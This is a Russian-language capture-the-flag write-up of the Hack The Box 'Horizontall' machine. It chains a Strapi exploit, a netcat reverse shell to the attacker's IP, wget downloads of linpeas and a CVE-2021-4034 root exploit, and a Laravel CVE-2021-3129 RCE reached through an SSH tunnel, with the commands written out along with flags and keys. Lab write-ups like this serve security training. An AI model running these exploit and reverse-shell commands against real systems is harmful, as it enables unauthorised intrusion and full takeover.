# HTB Horizontall Practic Network Infrastructure Attack
Поиск http сервисов

Смотрим стек технологий с помощью whatweb

Переберем директории с помощью gobuster


Перебираем виртуальные хосты с помощью gobuster

**whatweb** - Находим работающие сервисы
Находим Strapi <strapi.io>

Новое веб-приложение - Переберем директории с помощью gobuster

Находим в папке Admin strapi

Далее ищем эксплойты на strapi.io
Нашли https://www.exploit-db.com/exploits/50239
Скачали
## Эксплуатация
Запишем в файл nano /etc/hosts api-prod.horizontall.htb c ip машины
Запускаем эксплойт
python3 50239.py http://api-prod.horizontall.htb
Эксплойт отработал, сбросил пароль администратора, назначил дефолтный пароль и выдал новый токен


Проверяем работает ли эксплойт, пингуем сами себя

Т.к. данный экслойт слепой, мы поищем возможность получить reverce shell
Cмотрим payload all the things на ресурсе https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
Есть большое кол-во реверс шеллов, но в данном случае будем использовать Netcat BusyBox
* Поднимем Listener
nc -nlvp 1234
* Инициализируем подключение командой
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 1234 >/tmp/f
вывод команд через файл (rm /tmp/f;mknod /tmp/f p;cat /tmp/f)

* Для удобства перейдем в bash.(заспавнили баш)
python3 -c 'import pty;pty.spawn("/bin/bash")'

### Повышаем привилегии с помощью linpeas
скачиваем на хост
wget https://github.com/carlospolop/PEASS-ng/releases/download/20220529/linpeas.sh
поднимаем сервер
скачиваем linpeas на атакуемую машину

запускаем
bash linpeas.sh
Нашли CVE-2021-4034
Vulnerable to CVE-2021-4034
скачали c гугла
перешли
сконструировали эксплойт
упаковали в архив


Теперь поднимаем сервер и скачиваем на атакуемую машину эксплойт
* wget http://10.10.14.19/exploit.tar

Распаковываем и даем права на исполнение
* tar -xvf exp.tar
* chmod + cve-2021-4034
Запускаем
* ./cve-2021-4034

**Получили Root, через CVE**
Нашли файл User.txt
8aca5b99e667756f08133d261bea5ac0

нашли Root flag
69e2a85d1967b3221f785872ad1a8e39

____________________________
## Laravel
Повысить привилегии на машине Horizontall до root через проброс порта **через SSH-туннель** и эксплуатацию RCE-уязвимости в **Laravel**.

Cмотрим открытые порты на машине
* netstat -a
* ss -tnlp
Выдергиваем curl код страницы
* curl localhost:8000

генерим ssh ключ
* ssh-keygen
переходим в .ssh
копируем сгенерированный ключ с id_rsa.pub

вставляем код на атакуемую машину в папку .ssh в файл authorized_keys
```
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGS5Yii1/OSfYc2bVq2lbDHQNUgDUVEczgsbt4BT9Bu5KOLaYJwf6e0nvIM99cnKTh0aVAGY0paTzCDDXi2j5g6lTq+fvdHS6Ts1L2Q27KGZ4Of5SjdFGSOfajGfvasw4L6huWL/+2M6vqxyVr8V1+RP5v7hSd/xfYqi0VsmlvtDhAN2Ob0opPizqqt2dM5Kq9JweMpNEnbk73Y9mZ1nyOaIEwm4t8T4e6Xx1dvgwxDDNywYd+1su0xyVHNJKb5RgbkhXaWRr8G0ewL7ID30vGjKn5SggoynY4AFZt4PrrRqiYMwgx0SsX8DGJWOKWNMe9mt1+yrVq4XbqSls0MzVO/GUqDCz+5Mmfu+JxsqpRr6djp8VM3NIrMJoapshxvP2qaZIKl0WbAvkOnIo2tPnP+9KiZSKTgJBfyB0NrZ3Nu9hqnQGaU+HO3HVmQTdyXLVbvztjqGRIyHiSw/szXu0qS/35nAqeVw8sWZOMW4DWtndPVThq03G4A3fWTDxBBg0= root@kali" >> authorized_keys
```

Генерим ssh ключ на атакуемой машине
Вставляем его в файл authorized_keys
(Получается на атакуемой машине в файле находятся 2 ключа)
```
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe8VVEHbc4ih16AWJRimT+97O0yBzA1qHNfNinB/Luzt6ZvMve63eJ+PqgMdetEuhNScz9n0IBx8EphgHWIoWpNSMw4nJDnRZbqKVbZW/IRahilUMX0NSEHoyBiQDG07qNn/IsZRZwDDT+bmkgaBQDph5oqO1fOetlFyJvZ5kPwH/2jI1NJxKZ7E3lFVOeR9hp5NumUgzbN5xeFVs8twChygvs95OTXc8ji+sntAzIMJTx4sxsnJPY7gMcgvlAINWHalhzmQDAw5LROdIggPq7vjxY1NU8GxwqTEA2/V7qqPUDJQY0N9jaMaf1S/lhNAh0aCU/stxV6tR+iX0qvsaH strapi@horizontall" >> authorized_keys
```


Далее мы перенаправляем наш порт на порт злоумышленника
ssh -L 8000:127.0.0.1:8000 strapi@horizontall.htb

Переходим в браузер и октрываем
127.0.0.1:8000

С помощью searchsploit мы поищем узявимости на laravel

Попробовал получить флаг рута с помощью эксплойта 49424.py
Но выдал ошибку и закрыл ssh соединение

Воспользуемся эксплойтом **CVE-2021-3129** https://github.com/nth347/CVE-2021-3129_exploit
скачаем его на хост
* git clone https://github.com/nth347/CVE-2021-3129_exploit.git
Перейдем в папку
* cd CVE-2021-3129_exploit
дадим права
* chmod +x exploit.py
Запускаем скрипт с выводом ID
* ./exploit.py http://localhost:8000 Monolog/RCE1 id


Получили доступ Рута.